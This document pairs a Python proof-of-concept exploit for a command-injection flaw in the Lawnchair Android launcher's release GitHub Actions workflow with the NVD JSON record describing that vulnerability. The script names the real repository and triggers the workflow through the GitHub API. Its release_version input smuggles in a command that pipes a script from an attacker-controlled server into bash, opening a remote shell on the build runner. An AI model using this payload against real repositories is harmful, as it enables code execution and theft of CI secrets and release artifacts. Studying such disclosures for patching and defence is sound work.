CVE-2026-39866

# Proof of Concept for CVE-2026-39866 # This PoC demonstrates how a malicious input can trigger command injection # in the vulnerable 'release_update.yml' workflow. # The vulnerable workflow step likely looks like this in the original code: # run: ./build_script.sh ${{ inputs.release_version }} # An attacker can trigger the workflow via GitHub API with the following payload: import requests import json TARGET_REPO = "LawnchairLauncher/lawnchair" GITHUB_TOKEN = "YOUR_GITHUB_TOKEN" # Token with repo access WORKFLOW_ID = "release_update.yml" # Malicious payload designed to inject a command # Example: Updating version, then executing a reverse shell PAYLOAD = "1.0.0; curl http://attacker-controlled-server/shell.sh | bash" url = f"https://api.github.com/repos/{TARGET_REPO}/actions/workflows/{WORKFLOW_ID}/dispatches" headers = { "Authorization": f"token {GITHUB_TOKEN}", "Accept": "application/vnd.github.v3+json" } data = { "ref": "master", # The branch to run the workflow on "inputs": { "release_version": PAYLOAD # Injecting into the vulnerable input } } response = requests.post(url, headers=headers, data=json.dumps(data)) if response.status_code == 204: print("[+] Workflow triggered successfully with malicious payload.") else: print(f"[-] Failed to trigger workflow: {response.text}")

{"cve": {"id": "CVE-2026-39866", "sourceIdentifier": "[email protected]", "published": "2026-04-21T02:16:06.807", "lastModified": "2026-04-23T18:26:17.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lawnchair is a free, open-source home app for Android. Prior to commit fcba413f55dd47f8a3921445252849126c6266b2, command injection in release_update.yml workflow dispatch input allows arbitrary code execution. Commit fcba413f55dd47f8a3921445252849126c6266b2 patches the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lawnchair:lawnchair:*:*:*:*:*:*:*:*", "versionEndIncluding": "15.0.0", "matchCriteriaId": "A9AEE918-9914-4848-A719-56ACA7B7A93D"}]}]}], "references": [{"url": "https://github.com/LawnchairLauncher/lawnchair/commit/fcba413f55dd47f8a3921445252849126c6266b2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/LawnchairLauncher/lawnchair/security/advisories/GHSA-9prc-pp2c-3427", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/LawnchairLauncher/lawnchair/security/advisories/GHSA-9prc-pp2c-3427", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}